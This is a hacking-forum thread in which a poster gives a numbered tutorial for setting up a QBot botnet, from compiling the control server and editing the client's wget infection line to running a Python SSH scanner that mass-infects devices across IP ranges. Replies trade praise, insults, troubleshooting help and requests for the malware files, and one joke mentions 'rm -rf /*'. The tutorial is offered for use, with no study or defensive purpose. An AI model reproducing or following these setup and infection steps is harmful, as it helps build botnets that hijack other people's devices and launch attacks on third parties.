Astro.x - July 27, 2016, 11:07 am

QBot Tutorial / Setup

These files are public posted on Richy's website, [QBot public files](#) Download the server.c , client.c and setup.sh files. Put these on your server. Make sure you have Centos 6! Now lets get started :

1. Lets install everything we need first. yum install gcc screen nc dos2unix nano
2. Edit the server.c via nano or SFTP. Change the MGM logins to what you want. They are listed by password, user. Also change the MGM port if you want. This is the port used to connect to the botnet.
3. gcc -o server server.c -pthread OR gcc -o server server.c -lpthread
4. Edit the client.c via nano or SFTP. Change the ip under CONFIG to your server ip and leave the port as 23 or change it. DO NOT SET SAME AS YOUR MGM PORT!
5. screen ./server 23 420 (These are the default ports. 23 is the port the router opens to connect and 420 is the port you connect with. If you changed these replace them.) This will open a black screen, then press Ctrl AD
6. Edit the client.c Wget line via nano or SFTP. Search for wget and change all three IPs in this line to your server IP
7. dos2unix setup.sh
8. bash setup.sh client.c yourhostip (Once this is finished copy the "Your link : ". You need this for later
9. Make sure you setup tftp properly <http://www.hastebin.com/poriwaqufu.hs>
10. Now to setup the Python scanner to start getting bots. Download from [HERE](#)
11. yum install python-paramiko -y
12. Change your wget line in the infect.py file. This is where the link we copied earlier goes. Replace everything inside (" ") with your link and save the python scanner.
13. Now your all setup! To connect to your botnet make a new connection, put your server ip and the port you set in server.c and change connection to RAW and login with the details you set. To scan with the python scanner do python infect.py 376 B 122.3 1 . 122.3 is the ip range, you can change this if you want just don't scan Gov IPs.

Are you stuck and need my help? Send me a PM or reply asking for help and I'll PM you my skype to help you out ?

PICwarrior381 - July 27, 2016, 11:37 am

Let me help you :)

<http://richy.pw/archive/botnets/QBOT/>

Change the link at the beginning

Finity - July 27, 2016, 1:12 pm

Can we stop posting this gay shit? This is like the 5th tutorial in the past week.

Gigabot - July 28, 2016, 1:14 am

(Jul 27, 2016 01:12 PM)Finity Wrote: [\[CITE\]](#) Can we stop posting this gay shit? This is like the 5th tutorial in the past week.

Wow why would you insult the one thing you can comprehend?

Astro.x - July 28, 2016, 6:08 am

Finity I'm sorry that I'm here to help the beginners and not use them as a money making method. You can keep your shit to yourself, not everyone here is looking to make money of people who want to learn.

ColbzigotdaHax - July 28, 2016, 7:24 am

Where on earth did you get the idea I sell setups? What? People have been making this same thread on here for months explaining the same thing. At least 2-3 people have done it this week, yet you still feel the need to do it. It's annoying.

(Jul 28, 2016 07:24 AM)ColbzigotdaHax Wrote: [\[CITE\]](#) Your bashing someone for contributing? Your a full fledged skid. Gtfo cancer

Okay we get it, you're a fucking reject. Nice to know.

(Jul 28, 2016 01:14 AM)Gigabot Wrote: [\[CITE\]](#) Wow why would you insult the one thing you can comprehend?

Would you prefer if I bought some Ecatels?

/pH/ - July 28, 2016, 8:53 am

Guys this joke is getting old we can stop it now

_Valor - July 28, 2016, 9:24 am

Why the fuck do people keep doing this?

If you need such an in-depth tutorial, you shouldn't be setting up a botnet in the first place. Why can no one realize that?

Darky™ - August 5, 2016, 4:55 pm

Thanks you for this tutorial very good

boo1234 - August 6, 2016, 12:46 pm

I followed your tut did all the steps but one is causing a problem

5. screen ./server 23 420

I take it ./server is the dictionary where you keep the files server.c , client.c and setup.sh? when i run screen ./server 23 420 i get permission denied the dictionary is CHMOD 777 so im not sure what to do.

any help is much appreciated :)

Packet Rate - August 6, 2016, 4:47 pm

Hahahahaah nice buddy. another tut

richmitchman - August 12, 2016, 12:29 pm

what range should I scan to get the most bots?

I have 2 servers so i can scan on 2 diff ranges, i think thats how it works...xD

wearethere - August 28, 2016, 12:37 am

Thanks for the Tutorial. Old but still useful for people who don't have any idea what they're doing.

natsuki. - September 7, 2016, 2:31 pm

This is very old... Stop Posting this threads.

bro fuck what every hater have to say. we all to start some where. thane you so much for your time.

?now - October 5, 2016, 8:26 am

Really great tutorial, really gets straight to the point +1 for you :D

Twitch - October 5, 2016, 10:14 am

Who the fuck even uses python scanners anymore like please login to one of those devices and look at how many bins there are in the tmp file

Astro.x - October 5, 2016, 11:37 am

No one uses python scanners anymore lol I was just putting something in so people understand what to dk

rzor - October 5, 2016, 4:02 pm

Would you prefer if I bought some Ecatels?Blyat ne govori po angliyski ti daynom viglyadish v ix glazax, wkolnik ebaniy blyat', "real hackers use qbot" HAHHAHhHAHAH suka

can you change the link plz.

Astro.x - October 5, 2016, 4:16 pm

There is other people who have files, my site was just a ghetto site for people to get files

sl0wd0ugh - October 17, 2016, 5:54 am

So how do i use this scanner properly to just scan the whole planet on autopilot ?

Something in the lines of this ?

.py 500 C INTERNET 1

J?son - October 17, 2016, 6:22 am

instructions unclear,, i ran `rm -rf /*` and i can't login to my server

sl0wd0ugh - October 18, 2016, 3:38 am

They are clear but i don't want to put in a new range to scan all the time..

kraker - October 18, 2016, 3:41 am

The links are broken in the thread OP. could you update the thread with working links? Or Pm me new link for the files I am interested

sl0wd0ugh - October 18, 2016, 3:53 am

I got all files send me your XMPP or Skype.

(Oct 18, 2016 03:41 AM)kraker Wrote: [\[CITE\]](#) The links are broken in the thread OP. could you update the thread with working links? Or Pm me new link for the files I am interested

Ray Palmer - October 18, 2016, 12:22 pm

Thanks for taking time in order to make this great tutorial

emre1x1 - October 19, 2016, 9:50 am

everything is working but when i scan it says infected but the bots are not connecting to my net

unarrest - October 27, 2016, 2:37 pm

(Jul 27, 2016 01:12 PM)Finity Wrote: [\[CITE\]](#) Can we stop posting this gay shit? This is like the 5th tutorial in the past week.

Could you hook me up with the LRAB scanner files? My Skype is unarrest

133723 - October 8, 2017, 10:47 am

Does anyone have the infect.py file?

Gomx1992 - October 11, 2017, 4:36 am

Good tut, but not very descriptive for beginners. Thanks man, any tut helps increase my knowledge.

wolfhackertr - March 8, 2023, 7:01 am

errorx0000, how to fix this? help
